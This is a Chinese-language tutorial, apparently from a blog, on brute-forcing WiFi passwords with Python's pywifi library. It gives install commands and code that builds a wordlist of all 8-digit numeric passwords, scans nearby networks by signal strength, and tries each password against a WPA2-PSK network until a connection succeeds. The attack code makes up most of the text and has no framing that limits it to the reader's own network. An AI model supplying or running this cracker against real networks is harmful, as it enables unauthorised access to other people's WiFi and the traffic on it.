pywifi简介:
pywifi是python中一个用于操作无线接口的第三方库,可以跨平台使用,支持Windows和Linux,在这里我们用来执行wifi的操作,包括连接、扫描、断开等
pywifi安装:
pip install comtypes -i https://pypi.doubanio.com/simple
pip install pywifi -i https://pypi.doubanio.com/simple
二、
暴力构建WiFi密码
WiFi密码一般由数字(0-9)、字母(区分大小写)以及特殊字符(!@#&*.等)组成,为了方便教程的演示,这里仅显示由数字组成的8位字符,作为wifi密码存入txt文档,有些WiFi密码可能稍微复杂一点,延长字符长度或增加字母、特殊字符就行
代码如下:
astring = "1234567890" #可添加字母和特殊字符
pwds = it.product(astring, repeat=8) #8位密码长度
with open('pwd.txt', 'a', encoding='utf-8') as f:
for pwd in pwds:
f.write(''.join(pwd))
f.write(''.join('\n'))
interface = self.wifi.interfaces()[0] #使用索引序号0获取第一个无线网卡
interface.scan()
print('扫描WiFi中,请稍后………………')
time.sleep(1)
print('扫描完成!\n' + '*' * 50)
print('\n%s\t%s\t%s' % ('WiFi编号', 'WiFi信号', 'WiFi名称'))
wifiList = interface.scan_results() #返回一个列表
wifiNewList = []
for w in wifiList:
wifiNameAndSignal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) #解决乱码问题并返回元组
wifiNewList.append(wifiNameAndSignal)
wifi_signal_and_name_list = sorted(wifiNewList, key=lambda i: i[0], reverse=True) # 按信号强度倒序
index = 0
while index < len(wifi_signal_and_name_list):
print('%s\t\t\t%s\t\t\t%s' % (index, wifi_signal_and_name_list[index][0], wifi_signal_and_name_list[index][1]))
index += 1
print('\n' + '*' * 50)
扫描效果如下:
WiFi破解编码:
profile = pywifi.Profile() #创建连接文件(对象)
profile.ssid = wifiName #wifi名称
profile.auth = const.AUTH_ALG_OPEN #需要认证
profile.akm.append(const.AKM_TYPE_WPA2PSK) #wifi默认加密算法
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
interface.remove_all_network_profiles() #删除所有wifi连接文件
tmp_profile = interface.add_network_profile(profile) #设置新的wifi连接文件
interface.connect(tmp_profile) #开始尝试连接
startTime = time.time()
while time.time() - startTime < 1.5:
if interface.status() == 4:
print('连接成功!密码为:%s' % pwd)
exit(0)
else:
print('正在用密码 %s 尝试破解…………' % pwd)
完整破解效果如下: